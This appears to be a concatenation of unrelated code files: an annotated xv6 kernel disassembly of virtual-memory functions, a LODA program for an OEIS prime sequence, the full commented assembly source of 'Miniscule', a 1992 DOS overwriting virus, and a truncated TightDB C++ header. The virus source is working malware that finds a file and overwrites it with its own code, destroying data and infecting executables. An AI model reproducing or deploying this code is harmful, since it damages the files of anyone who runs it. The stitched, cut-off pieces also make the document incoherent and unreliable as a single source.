%edi,%ebx 80106c25: 74 23 je 80106c4a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80106c27: 8b 03 mov (%ebx),%eax 80106c29: a8 01 test $0x1,%al 80106c2b: 74 f3 je 80106c20 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); 80106c2d: 25 00 f0 ff ff and $0xfffff000,%eax 80106c32: 83 ec 0c sub $0xc,%esp 80106c35: 83 c3 04 add $0x4,%ebx 80106c38: 05 00 00 00 80 add $0x80000000,%eax 80106c3d: 50 push %eax 80106c3e: e8 9d b6 ff ff call 801022e0 <kfree> 80106c43: 83 c4 10 add $0x10,%esp uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106c46: 39 fb cmp %edi,%ebx 80106c48: 75 dd jne 80106c27 <freevm+0x37> if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80106c4a: 89 75 08 mov %esi,0x8(%ebp) } 80106c4d: 8d 65 f4 lea -0xc(%ebp),%esp 80106c50: 5b pop %ebx 80106c51: 5e pop %esi 80106c52: 5f pop %edi 80106c53: 5d pop %ebp if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80106c54: e9 87 b6 ff ff jmp 801022e0 <kfree> freevm(pde_t *pgdir) { uint i; if(pgdir == 0) panic("freevm: no pgdir"); 80106c59: 83 ec 0c sub $0xc,%esp 80106c5c: 68 bd 78 10 80 push $0x801078bd 80106c61: e8 0a 97 ff ff call 80100370 <panic> 80106c66: 8d 76 00 lea 0x0(%esi),%esi 80106c69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106c70 <setupkvm>: }; // Set up kernel part of a page table. pde_t* setupkvm(void) { 80106c70: 55 push %ebp 80106c71: 89 e5 mov %esp,%ebp 80106c73: 56 push %esi 80106c74: 53 push %ebx pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) 80106c75: e8 16 b8 ff ff call 80102490 <kalloc> 80106c7a: 85 c0 test %eax,%eax 80106c7c: 74 6a je 80106ce8 <setupkvm+0x78> return 0; memset(pgdir, 0, PGSIZE); 80106c7e: 83 ec 04 sub $0x4,%esp 80106c81: 89 c6 mov %eax,%esi if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106c83: bb 20 a4 10 80 mov $0x8010a420,%ebx pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); 80106c88: 68 00 10 00 00 push $0x1000 80106c8d: 6a 00 push $0x0 80106c8f: 50 push %eax 80106c90: e8 ab d7 ff ff call 80104440 <memset> 80106c95: 83 c4 10 add $0x10,%esp if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106c98: 8b 43 04 mov 0x4(%ebx),%eax 80106c9b: 8b 4b 08 mov 0x8(%ebx),%ecx 80106c9e: 83 ec 08 sub $0x8,%esp 80106ca1: 8b 13 mov (%ebx),%edx 80106ca3: ff 73 0c pushl 0xc(%ebx) 80106ca6: 50 push %eax 80106ca7: 29 c1 sub %eax,%ecx 80106ca9: 89 f0 mov %esi,%eax 80106cab: e8 70 f9 ff ff call 80106620 <mappages> 80106cb0: 83 c4 10 add $0x10,%esp 80106cb3: 85 c0 test %eax,%eax 80106cb5: 78 19 js 80106cd0 <setupkvm+0x60> if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106cb7: 83 c3 10 add $0x10,%ebx 80106cba: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106cc0: 75 d6 jne 80106c98 <setupkvm+0x28> 80106cc2: 89 f0 mov %esi,%eax (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; } return pgdir; } 80106cc4: 8d 65 f8 lea -0x8(%ebp),%esp 80106cc7: 5b pop %ebx 80106cc8: 5e pop %esi 80106cc9: 5d pop %ebp 80106cca: c3 ret 80106ccb: 90 nop 80106ccc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); 80106cd0: 83 ec 0c sub $0xc,%esp 80106cd3: 56 push %esi 80106cd4: e8 17 ff ff ff call 80106bf0 <freevm> return 0; 80106cd9: 83 c4 10 add $0x10,%esp } return pgdir; } 80106cdc: 8d 65 f8 lea -0x8(%ebp),%esp panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; 80106cdf: 31 c0 xor %eax,%eax } return pgdir; } 80106ce1: 5b pop %ebx 80106ce2: 5e pop %esi 80106ce3: 5d pop %ebp 80106ce4: c3 ret 80106ce5: 8d 76 00 lea 0x0(%esi),%esi { pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; 80106ce8: 31 c0 xor %eax,%eax 80106cea: eb d8 jmp 80106cc4 <setupkvm+0x54> 80106cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106cf0 <kvmalloc>: // Allocate one page table for the machine for the kernel address // space for scheduler processes. void kvmalloc(void) { 80106cf0: 55 push %ebp 80106cf1: 89 e5 mov %esp,%ebp 80106cf3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106cf6: e8 75 ff ff ff call 80106c70 <setupkvm> 80106cfb: a3 c4 54 11 80 mov %eax,0x801154c4 80106d00: 05 00 00 00 80 add $0x80000000,%eax 80106d05: 0f 22 d8 mov %eax,%cr3 switchkvm(); } 80106d08: c9 leave 80106d09: c3 ret 80106d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106d10 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106d10: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106d11: 31 c9 xor %ecx,%ecx // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106d13: 89 e5 mov %esp,%ebp 80106d15: 83 ec 08 sub $0x8,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106d18: 8b 55 0c mov 0xc(%ebp),%edx 80106d1b: 8b 45 08 mov 0x8(%ebp),%eax 80106d1e: e8 7d f8 ff ff call 801065a0 <walkpgdir> if(pte == 0) 80106d23: 85 c0 test %eax,%eax 80106d25: 74 05 je 80106d2c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106d27: 83 20 fb andl $0xfffffffb,(%eax) } 80106d2a: c9 leave 80106d2b: c3 ret { pte_t *pte; pte = walkpgdir(pgdir, uva, 0); if(pte == 0) panic("clearpteu"); 80106d2c: 83 ec 0c sub $0xc,%esp 80106d2f: 68 ce 78 10 80 push $0x801078ce 80106d34: e8 37 96 ff ff call 80100370 <panic> 80106d39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106d40 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106d40: 55 push %ebp 80106d41: 89 e5 mov %esp,%ebp 80106d43: 57 push %edi 80106d44: 56 push %esi 80106d45: 53 push %ebx 80106d46: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106d49: e8 22 ff ff ff call 80106c70 <setupkvm> 80106d4e: 85 c0 test %eax,%eax 80106d50: 89 45 e0 mov %eax,-0x20(%ebp) 80106d53: 0f 84 c5 00 00 00 je 80106e1e <copyuvm+0xde> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106d59: 8b 4d 0c mov 0xc(%ebp),%ecx 80106d5c: 85 c9 test %ecx,%ecx 80106d5e: 0f 84 9c 00 00 00 je 80106e00 <copyuvm+0xc0> 80106d64: 31 ff xor %edi,%edi 80106d66: eb 4a jmp 80106db2 <copyuvm+0x72> 80106d68: 90 nop 80106d69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106d70: 83 ec 04 sub $0x4,%esp 80106d73: 81 c3 00 00 00 80 add $0x80000000,%ebx 80106d79: 68 00 10 00 00 push $0x1000 80106d7e: 53 push %ebx 80106d7f: 50 push %eax 80106d80: e8 6b d7 ff ff call 801044f0 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80106d85: 58 pop %eax 80106d86: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106d8c: b9 00 10 00 00 mov $0x1000,%ecx 80106d91: 5a pop %edx 80106d92: ff 75 e4 pushl -0x1c(%ebp) 80106d95: 50 push %eax 80106d96: 89 fa mov %edi,%edx 80106d98: 8b 45 e0 mov -0x20(%ebp),%eax 80106d9b: e8 80 f8 ff ff call 80106620 <mappages> 80106da0: 83 c4 10 add $0x10,%esp 80106da3: 85 c0 test %eax,%eax 80106da5: 78 69 js 80106e10 <copyuvm+0xd0> uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 80106da7: 81 c7 00 10 00 00 add $0x1000,%edi 80106dad: 39 7d 0c cmp %edi,0xc(%ebp) 80106db0: 76 4e jbe 80106e00 <copyuvm+0xc0> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106db2: 8b 45 08 mov 0x8(%ebp),%eax 80106db5: 31 c9 xor %ecx,%ecx 80106db7: 89 fa mov %edi,%edx 80106db9: e8 e2 f7 ff ff call 801065a0 <walkpgdir> 80106dbe: 85 c0 test %eax,%eax 80106dc0: 74 6d je 80106e2f <copyuvm+0xef> panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) 80106dc2: 8b 00 mov (%eax),%eax 80106dc4: a8 01 test $0x1,%al 80106dc6: 74 5a je 80106e22 <copyuvm+0xe2> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 80106dc8: 89 c3 mov %eax,%ebx flags = PTE_FLAGS(*pte); 80106dca: 25 ff 0f 00 00 and $0xfff,%eax for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 80106dcf: 81 e3 00 f0 ff ff and $0xfffff000,%ebx flags = PTE_FLAGS(*pte); 80106dd5: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80106dd8: e8 b3 b6 ff ff call 80102490 <kalloc> 80106ddd: 85 c0 test %eax,%eax 80106ddf: 89 c6 mov %eax,%esi 80106de1: 75 8d jne 80106d70 <copyuvm+0x30> } } return d; bad: freevm(d); 80106de3: 83 ec 0c sub $0xc,%esp 80106de6: ff 75 e0 pushl -0x20(%ebp) 80106de9: e8 02 fe ff ff call 80106bf0 <freevm> return 0; 80106dee: 83 c4 10 add $0x10,%esp 80106df1: 31 c0 xor %eax,%eax } 80106df3: 8d 65 f4 lea -0xc(%ebp),%esp 80106df6: 5b pop %ebx 80106df7: 5e pop %esi 80106df8: 5f pop %edi 80106df9: 5d pop %ebp 80106dfa: c3 ret 80106dfb: 90 nop 80106dfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 80106e00: 8b 45 e0 mov -0x20(%ebp),%eax return d; bad: freevm(d); return 0; } 80106e03: 8d 65 f4 lea -0xc(%ebp),%esp 80106e06: 5b pop %ebx 80106e07: 5e pop %esi 80106e08: 5f pop %edi 80106e09: 5d pop %ebp 80106e0a: c3 ret 80106e0b: 90 nop 80106e0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { kfree(mem); 80106e10: 83 ec 0c sub $0xc,%esp 80106e13: 56 push %esi 80106e14: e8 c7 b4 ff ff call 801022e0 <kfree> goto bad; 80106e19: 83 c4 10 add $0x10,%esp 80106e1c: eb c5 jmp 80106de3 <copyuvm+0xa3> pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; 80106e1e: 31 c0 xor %eax,%eax 80106e20: eb d1 jmp 80106df3 <copyuvm+0xb3> for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); 80106e22: 83 ec 0c sub $0xc,%esp 80106e25: 68 f2 78 10 80 push $0x801078f2 80106e2a: e8 41 95 ff ff call 80100370 <panic> if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); 80106e2f: 83 ec 0c sub $0xc,%esp 80106e32: 68 d8 78 10 80 push $0x801078d8 80106e37: e8 34 95 ff ff call 80100370 <panic> 80106e3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106e40 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106e40: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106e41: 31 c9 xor %ecx,%ecx //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106e43: 89 e5 mov %esp,%ebp 80106e45: 83 ec 08 sub $0x8,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106e48: 8b 55 0c mov 0xc(%ebp),%edx 80106e4b: 8b 45 08 mov 0x8(%ebp),%eax 80106e4e: e8 4d f7 ff ff call 801065a0 <walkpgdir> if((*pte & PTE_P) == 0) 80106e53: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) 80106e55: 89 c2 mov %eax,%edx 80106e57: 83 e2 05 and $0x5,%edx 80106e5a: 83 fa 05 cmp $0x5,%edx 80106e5d: 75 11 jne 80106e70 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106e5f: 25 00 f0 ff ff and $0xfffff000,%eax } 80106e64: c9 leave pte = walkpgdir(pgdir, uva, 0); if((*pte & PTE_P) == 0) return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106e65: 05 00 00 00 80 add $0x80000000,%eax } 80106e6a: c3 ret 80106e6b: 90 nop 80106e6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pte = walkpgdir(pgdir, uva, 0); if((*pte & PTE_P) == 0) return 0; if((*pte & PTE_U) == 0) return 0; 80106e70: 31 c0 xor %eax,%eax return (char*)P2V(PTE_ADDR(*pte)); } 80106e72: c9 leave 80106e73: c3 ret 80106e74: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106e7a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106e80 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106e80: 55 push %ebp 80106e81: 89 e5 mov %esp,%ebp 80106e83: 57 push %edi 80106e84: 56 push %esi 80106e85: 53 push %ebx 80106e86: 83 ec 1c sub $0x1c,%esp 80106e89: 8b 5d 14 mov 0x14(%ebp),%ebx 80106e8c: 8b 55 0c mov 0xc(%ebp),%edx 80106e8f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106e92: 85 db test %ebx,%ebx 80106e94: 75 40 jne 80106ed6 <copyout+0x56> 80106e96: eb 70 jmp 80106f08 <copyout+0x88> 80106e98: 90 nop 80106e99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106ea0: 8b 55 e4 mov -0x1c(%ebp),%edx 80106ea3: 89 f1 mov %esi,%ecx 80106ea5: 29 d1 sub %edx,%ecx 80106ea7: 81 c1 00 10 00 00 add $0x1000,%ecx 80106ead: 39 d9 cmp %ebx,%ecx 80106eaf: 0f 47 cb cmova %ebx,%ecx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106eb2: 29 f2 sub %esi,%edx 80106eb4: 83 ec 04 sub $0x4,%esp 80106eb7: 01 d0 add %edx,%eax 80106eb9: 51 push %ecx 80106eba: 57 push %edi 80106ebb: 50 push %eax 80106ebc: 89 4d e4 mov %ecx,-0x1c(%ebp) 80106ebf: e8 2c d6 ff ff call 801044f0 <memmove> len -= n; buf += n; 80106ec4: 8b 4d e4 mov -0x1c(%ebp),%ecx { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106ec7: 83 c4 10 add $0x10,%esp if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; 80106eca: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx n = PGSIZE - (va - va0); if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; 80106ed0: 01 cf add %ecx,%edi { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106ed2: 29 cb sub %ecx,%ebx 80106ed4: 74 32 je 80106f08 <copyout+0x88> va0 = (uint)PGROUNDDOWN(va); 80106ed6: 89 d6 mov %edx,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106ed8: 83 ec 08 sub $0x8,%esp char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); 80106edb: 89 55 e4 mov %edx,-0x1c(%ebp) 80106ede: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106ee4: 56 push %esi 80106ee5: ff 75 08 pushl 0x8(%ebp) 80106ee8: e8 53 ff ff ff call 80106e40 <uva2ka> if(pa0 == 0) 80106eed: 83 c4 10 add $0x10,%esp 80106ef0: 85 c0 test %eax,%eax 80106ef2: 75 ac jne 80106ea0 <copyout+0x20> len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 80106ef4: 8d 65 f4 lea -0xc(%ebp),%esp buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; 80106ef7: b8 ff ff ff ff mov $0xffffffff,%eax len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 80106efc: 5b pop %ebx 80106efd: 5e pop %esi 80106efe: 5f pop %edi 80106eff: 5d pop %ebp 80106f00: c3 ret 80106f01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106f08: 8d 65 f4 lea -0xc(%ebp),%esp memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; } return 0; 80106f0b: 31 c0 xor %eax,%eax } 80106f0d: 5b pop %ebx 80106f0e: 5e pop %esi 80106f0f: 5f pop %edi 80106f10: 5d pop %ebp 80106f11: c3 ret
; A111517: Numbers n such that (7*n + 1)/2 is prime. ; 3,15,19,31,39,43,51,55,75,79,99,111,123,139,159,163,171,175,183,195,211,231,235,259,279,283,291,295,303,315,319,339,343,351,379,411,415,423,435,451,459,463,475 mov $2,$0 pow $2,2 add $2,6 mov $5,4 lpb $2 sub $2,1 mov $3,$1 add $1,13 sub $3,$5 max $3,0 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,1 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe sub $1,28 div $1,14 mul $1,4 add $1,3 mov $0,$1
; Miniscule: the world's smallest generic virus (only 31 bytes long!) ; (C) 1992 Nowhere Man and [NuKE] WaReZ ; Written on January 22, 1991 code segment 'CODE' assume cs:code,ds:code,es:code,ss:code org 0100h main proc near ; Find the name of the first file and return it in the DTA. No checking ; is done for previous infections, and ANY file (except directory "files") ; will be infected, including data, texts, etc. So either a file is corrupted ; (in the case of data or text) or infected (.EXE and .COM files). Files that ; have the read-only flag set are immune to Miniscule. mov ah,04Eh ; DOS find first file function mov cl,020h ; CX holds attribute mask mov dx,offset star_dot_com ; DX points to the file mask int 021h ; Open the file that we've found for writing only and put the handle into ; BX (DOS stupidly returns the file handle in AX, but all other DOS functions ; require it to be in AX, so we have to move it). mov ax,03D01h ; DOS open file function, w/o mov dx,009Eh ; DX points to the found file int 021h xchg bx,ax ; BX holds the file handle ; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the ; virus) are written into the beginning of the victim. No attempt is made ; to preserve the victim's executability. This also destroys the file's date ; and time, making Miniscule's activity painfully obvious. Also, if the ; victim is smaller than 31 bytes (rare), then it will grow to exactly 31. mov ah,040h ; DOS write to file function dec cx ; CX now holds 01Fh (length) mov dx,offset main ; DX points to start of code int 021h ; Exit. I chose to use a RET statement here to save one byte (RET is one byte ; long, INT 020h is two), so don't try to compile this as an .EXE file; it ; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED ; .EXE programs will run successfully (unless they are larger than 64k, in ; which case DOS will refuse to run it. ret ; RETurn to DOS main endp ; The only data required in this program, and it's only four bytes long. This ; is the file mask that the DOS find first file function will use when ; searching. Do not change this to .EXE (or whatever) because this virus ; is size dependent (if you know what you're doing, go ahead [at you're own ; risk]). star_dot_com db "*.*",0 ; File search mask finish label near code ends end main ; There you have it: thirty-one bytes of pure terror -- NOT! As you can ; pretty well guess, this virus is very lame. Due to its poor reproduction, ; it is hardly a threat (hitting one file, if you're lucky), but it works, ; and it fits the definition of a virus. There is no way to make this code ; any smaller (at least under MS-DOS), except if you made it only infect ; one specific file (and the file would have to have a one- or two-byte name, ; too), and that would be next to useless.
/************************************************************************* * * TIGHTDB CONFIDENTIAL * __________________ * * [2011] - [2012] TightDB Inc * All Rights Reserved. * * NOTICE: All information contained herein is, and remains * the property of TightDB Incorporated and its suppliers, * if any. The intellectual and technical concepts contained * herein are proprietary to TightDB Incorporated * and its suppliers and may be covered by U.S. and Foreign Patents, * patents in process, and are protected by trade secret or copyright law. * Dissemination of this information or reproduction of this material * is strictly forbidden unless prior written permission is obtained * from TightDB Incorporated. * **************************************************************************/ namespace tightdb { inline ColumnMixed::ColumnMixed(Allocator& alloc, ref_type ref, Table* table, std::size_t column_ndx) { create(alloc, ref, table, column_ndx); } inline void ColumnMixed::adj_acc_insert_rows(std::size_t row_ndx, std::size_t num_rows) TIGHTDB_NOEXCEPT { m_data->adj_acc_insert_rows(row_ndx, num_rows); } inline void ColumnMixed::adj_acc_erase_row(std::size_t row_ndx) TIGHTDB_NOEXCEPT { m_data->adj_acc_erase_row(row_ndx); } inline void ColumnMixed::adj_acc_move_over(std::size_t from_row_ndx, std::size_t to_row_ndx) TIGHTDB_NOEXCEPT { m_data->adj_acc_move_over(from_row_ndx, to_row_ndx); } inline void ColumnMixed::adj_acc_clear_root_table() TIGHTDB_NOEXCEPT { m_data->adj_acc_clear_root_table(); } inline ref_type ColumnMixed::get_subtable_ref(std::size_t row_ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(row_ndx, <, m_types->size()); if (m_types->get(row_ndx) != type_Table) return 0; return m_data->get_as_ref(row_ndx); } inline std::size_t ColumnMixed::get_subtable_size(std::size_t row_ndx) const TIGHTDB_NOEXCEPT { ref_type top_ref = get_subtable_ref(row_ndx); if (top_ref == 0) return 0; return _impl::TableFriend::get_size_from_ref(top_ref, m_data->get_alloc()); } inline Table* ColumnMixed::get_subtable_accessor(std::size_t row_ndx) const TIGHTDB_NOEXCEPT { return m_data->get_subtable_accessor(row_ndx); } inline void ColumnMixed::discard_subtable_accessor(std::size_t row_ndx) TIGHTDB_NOEXCEPT { m_data->discard_subtable_accessor(row_ndx); } inline Table* ColumnMixed::get_subtable_ptr(std::size_t row_ndx) { TIGHTDB_ASSERT_3(row_ndx, <, m_types->size()); if (m_types->get(row_ndx) != type_Table) return 0; return m_data->get_subtable_ptr(row_ndx); // Throws } inline const Table* ColumnMixed::get_subtable_ptr(std::size_t subtable_ndx) const { return const_cast<ColumnMixed*>(this)->get_subtable_ptr(subtable_ndx); } inline void ColumnMixed::discard_child_accessors() TIGHTDB_NOEXCEPT { m_data->discard_child_accessors(); } // // Getters // #define TIGHTDB_BIT63 0x8000000000000000ULL inline int64_t ColumnMixed::get_value(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); // Shift the unsigned value right - ensuring 0 gets in from left. // Shifting signed integers right doesn't ensure 0's. uint64_t value = uint64_t(m_data->get(ndx)) >> 1; return int64_t(value); } inline int64_t ColumnMixed::get_int(std::size_t ndx) const TIGHTDB_NOEXCEPT { // Get first 63 bits of the integer value int64_t value = get_value(ndx); // restore 'sign'-bit from the column-type MixedColType col_type = MixedColType(m_types->get(ndx)); if (col_type == mixcol_IntNeg) { // FIXME: Bad cast of result of '|' from unsigned to signed value |= TIGHTDB_BIT63; // set sign bit (63) } else { TIGHTDB_ASSERT_3(col_type, ==, mixcol_Int); } return value; } inline bool ColumnMixed::get_bool(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(m_types->get(ndx), ==, mixcol_Bool); return (get_value(ndx) != 0); } inline DateTime ColumnMixed::get_datetime(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(m_types->get(ndx), ==, mixcol_Date); return DateTime(std::time_t(get_value(ndx))); } inline float ColumnMixed::get_float(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_STATIC_ASSERT(std::numeric_limits<float>::is_iec559, "'float' is not IEEE"); TIGHTDB_STATIC_ASSERT((sizeof (float) * CHAR_BIT == 32), "Assume 32 bit float."); TIGHTDB_ASSERT_3(m_types->get(ndx), ==, mixcol_Float); return type_punning<float>(get_value(ndx)); } inline double ColumnMixed::get_double(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_STATIC_ASSERT(std::numeric_limits<double>::is_iec559, "'double' is not IEEE"); TIGHTDB_STATIC_ASSERT((sizeof (double) * CHAR_BIT == 64), "Assume 64 bit double."); int64_t int_val = get_value(ndx); // restore 'sign'-bit from the column-type MixedColType col_type = MixedColType(m_types->get(ndx)); if (col_type == mixcol_DoubleNeg) int_val |= TIGHTDB_BIT63; // set sign bit (63) else { TIGHTDB_ASSERT_3(col_type, ==, mixcol_Double); } return type_punning<double>(int_val); } inline StringData ColumnMixed::get_string(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); TIGHTDB_ASSERT_3(m_types->get(ndx), ==, mixcol_String); TIGHTDB_ASSERT(m_binary_data); std::size_t data_ndx = std::size_t(int64_t(m_data->get(ndx)) >> 1); return m_binary_data->get_string(data_ndx); } inline BinaryData ColumnMixed::get_binary(std::size_t ndx) const TIGHTDB_NOEXCEPT { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); TIGHTDB_ASSERT_3(m_types->get(ndx), ==, mixcol_Binary); TIGHTDB_ASSERT(m_binary_data); std::size_t data_ndx = std::size_t(uint64_t(m_data->get(ndx)) >> 1); return m_binary_data->get(data_ndx); } // // Setters // // Set a int64 value. // Store 63 bit of the value in m_data. Store sign bit in m_types. inline void ColumnMixed::set_int64(std::size_t ndx, int64_t value, MixedColType pos_type, MixedColType neg_type) { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); // If sign-bit is set in value, 'store' it in the column-type MixedColType coltype = ((value & TIGHTDB_BIT63) == 0) ? pos_type : neg_type; // Remove refs or binary data (sets type to double) clear_value_and_discard_subtab_acc(ndx, coltype); // Throws // Shift value one bit and set lowest bit to indicate that this is not a ref value = (value << 1) + 1; m_data->set(ndx, value); } inline void ColumnMixed::set_int(std::size_t ndx, int64_t value) { set_int64(ndx, value, mixcol_Int, mixcol_IntNeg); // Throws } inline void ColumnMixed::set_double(std::size_t ndx, double value) { int64_t val64 = type_punning<int64_t>(value); set_int64(ndx, val64, mixcol_Double, mixcol_DoubleNeg); // Throws } inline void ColumnMixed::set_value(std::size_t ndx, int64_t value, MixedColType coltype) { TIGHTDB_ASSERT_3(ndx, <, m_types->size()); // Remove refs or binary data (sets type to float) clear_value_and_discard_subtab_acc(ndx, coltype); // Throws // Shift value one bit and set lowest bit to indicate that this is not a ref int64_t v = (value << 1) + 1; m_data->set(ndx, v); // Throws } inline void ColumnMixed::set_float(std::size_t ndx, float value) { int64_t val64 = type_punning<int64_t>(value); set_value(ndx, val64, mixcol_Float); // Throws } inline void 